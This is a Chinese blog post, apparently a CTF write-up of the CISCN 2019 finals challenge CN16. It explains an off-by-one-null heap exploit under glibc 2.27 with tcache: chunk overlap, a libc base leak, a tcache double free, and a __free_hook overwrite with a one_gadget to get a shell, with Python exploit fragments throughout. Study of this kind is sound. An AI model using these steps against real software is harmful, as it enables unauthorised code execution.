Whali3n51's blog

  • 主页
  • 关于
  • 友链
  • 标签
  • 分类
pwn学习

CISCN_final_CN16

Whali3n51 发布于 2019-08-06

好久都没有更新了,因为准备考试和比赛,博客更新就有些迟缓了。现在我来说一说总决赛的pwn题。个人实力很菜,比赛当天我一题也做不出来,也不会fix,fix之后服务器就异常了.怎么说呢,就很惨,被打到自闭,新赛制,黑盒修补漏洞,谜之异常,谜之exp通过。所以这里就来复现一下总决赛的题目,因为没有出题人的check脚本,这里主要讲讲break的思路,fix的思路简单说一说,但是不保证正确。希望自己就不要再这么菜下去了。接下来的几篇博客更新,就从我的角度来讲,由易到难的更新,可能更新到后面就没有后文了,那是可能就是因为大佬们的脚本我已经看不懂了。

先看一下第二天的CN16,这一题我当天没有做出来,我很自闭,因为一个简单的offbyone的漏洞,按照我的脚本一直做不出,赛后lancet战队大佬分享这一道题目的时候,说是CTF-wiki的原题,听到这一句话的时候我彻底自闭了,我哭了,这一题就是tcache第一道的原题,不过这里也不得不吐槽一下主办方了,作为总决赛还能出现原题,这也是专家评审的不严格,原题build分还能给这么高,还能入选,不得不说这次总决赛槽点很多。
首先拿到题目看到文件给了两个文件

看到给了libc文件,其实这样libc文件是libc-2.27的文件。我很菜,对于tcache没什么敏感度,主要是之前对这一块的题目没有做的太多吧,我比赛当天把他默认为libc-2.23版本在做。
再看题吧
将源文件拖入IDA
malloc函数

程序创建堆块默认创建0xf8大小,这里就立马想到可能存在off-by-one漏洞

发现这里存在off-by-onenull的漏洞,可以修改下一个堆块的pre_chunk位,可以造成overlap或者是unlink
运行文件

发现程序只有三个功能
malloc
free
puts
好了程序的逻辑就在这里了
查看保护机制

不出意外全绿。
拿到off-by-onenull漏洞,因为这里开启pie,而且存放堆块的数组是再堆里面,我们不能进行unlink漏洞的利用。我们第一思考的就是overlap,但是这里的输入当我们输入0的时候,输入就会阶段,这里就要说一种新的构造方式
通过系统的写入自动把pre_size自己写上
我们先再分配三个chunk
A
B
C
当我们free掉A的时候,B块的pre_size为0x100
然后我们再free掉B块,C块的pre_size就为0x200了
而且再次malloc的时候是不会修改pre_size位的,也就是说,这么处理之后,只要我们不覆盖这两个地方的数字,这两个数字就是一直存放在pre_size位的。
然后通过off-by-onenull就很容易实现overlap。
在这一题里就很容易实现。

首先通过

1
2
3
4
5
6
7
for i in range(0, 10):
malloc(0x2, "a")
fill_tcache(3, 10)#填充tcache
#保证我们的堆块在unsorted bin里面只有在这里面才能造成overlap
free(0)
free(1)
free(2)

来构造出上述的那种情况

1
2
3
4
remove_tcache(7)
malloc(0x2, "7") # chunk0
malloc(0x2, "8") # chunk1
malloc(0x2, "9") # chunk3

再次获得处理好之后的chunk

当我们要触发off-by-one-null这个漏洞的时候,必须是后面的一个堆块创建好了,前一个堆块再创建。才能修改后一个chunk的pre_chunk位。而且不能让这些堆块发生合并。

所以我们这里需要将‘8’这个chunk,也就是chunk1放入tcache中,然后再将chunk0放入unsorted bin中,再次分配chunk1,修改chunk3的pre_chunk位,然后才能造成overlap

1
2
3
4
5
6
7
free(8)#保存chunk1进入tcache
fill_tcache(0, 6)#填充tcache
free(7)#chunk0进入unsorted bin
remove_tcache(6)#取出填充堆块
malloc(0xf8, "7")#重新获得chunk1,并且修改了chunk3的pre_chunk位
fill_tcache(0, 7)#填充满tcache,防止chunk3进入tcache从而不发生unlink,制造不出overlap
free(9)#触发漏洞,造成了漏洞

可以从内存看出来

现在unsorted bin中只有一个chunk,这个chunk的size位0x300,也就是说我们overlap成功了。也就是从0x559db3820300 -0x559db3820600 都是属于unsorted bin中,但是我们chunk1还在使用,还存放再使用的数组中。

所以我们现在再到unsorted bin中分配0x100的chunk的话,我们就能将其实地址为0x559db3820400的chunk也就是chunk1再次分配到。然后我们放入tcache,使得chunk1造成double free.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
remove_tcache(7)#释放tcache,让下面的chunk从unsorted bin中获得
malloc(0x1, "8")#从unsorted bin中得到chunk0
#这个时候unsorted bin中存放指向main_arena中的地址存放在了chunk1中
#注意我们存放指针的数组中chunk1的指针是在重新获取之后是没有释放过的。所以这个我们直接打印索引值为7也就是chunk1的指针,是能泄露出来main_arena的。
puts(7)
main_arena = p.recv(6)
base = u64(main_arena.ljust(8,'\x00')) - 0x3ebca0
print "base_addr: " + hex(base)
one_gadget = base + 0x4f322
free_hook = base + libc.symbols['__free_hook']

malloc(0x1, "9")#从unsorted bin中得到chunk1
#这个时候数组索引里面索引7和索引9的里面都存放着chunk1的指针。
#然后我们只需要将这两个chunk释放掉放入tcache中,就能造成chunk1的double free

最后就是怎么getshell了。我们采用one_gadget,将__free_hook的指针改为one_gadget,然后就getshell.

如何去做呢?

1
2
3
4
5
6
7
malloc(0x10, p64(free_hook))#因为这里chunk1在tcache里面存放着两次,先取出chunk1,修改tcache指针指向__free_hook
#这里其实可以再来两次malloc就可以分配到,但是这个题目到这里只能在分配一个chunk了,因为题目规定只能存放十个chunk,现在只剩下一个了。
#所以接下来这么做
fill_tcache(0, 7)#填满tcache,但是这里的从0-7的索引值并不是全部进入了tcache,有两个进入unsorted bin。
remove_tcache(7)#然后先进后出的顺序,再次分配,清空了tcache,但是最后的tcache指向的是__free_hook,所以再次分配堆块就去tcache所指向的地方
malloc(0x10, p64(one_gadget))#分配到了__free_hook的堆块,修改__free_hook指针,指向one_gadget
free(0)#随便free一个chunk,触发one_gadget,最终getshell

这一题的break思路就是这样。但是我就有一点不明白,按照这个正常的思路,我fix的时候,将safe_read那个函数的off_by_one漏洞补上了,可是还是利用成功了,这个我就不太明白了,可能是出题人用了其他思路吧,我太菜看不出来吧。比赛的时候很迷,现在也没搞懂出题人是怎么将exp利用成功的。

  • #off-by-null
  • #tcache
Newer

关于Win10自动更新1903之后只能新建文件夹

Older

CISCN华北赛区pwn脚本及总结

© 2023 Whali3n51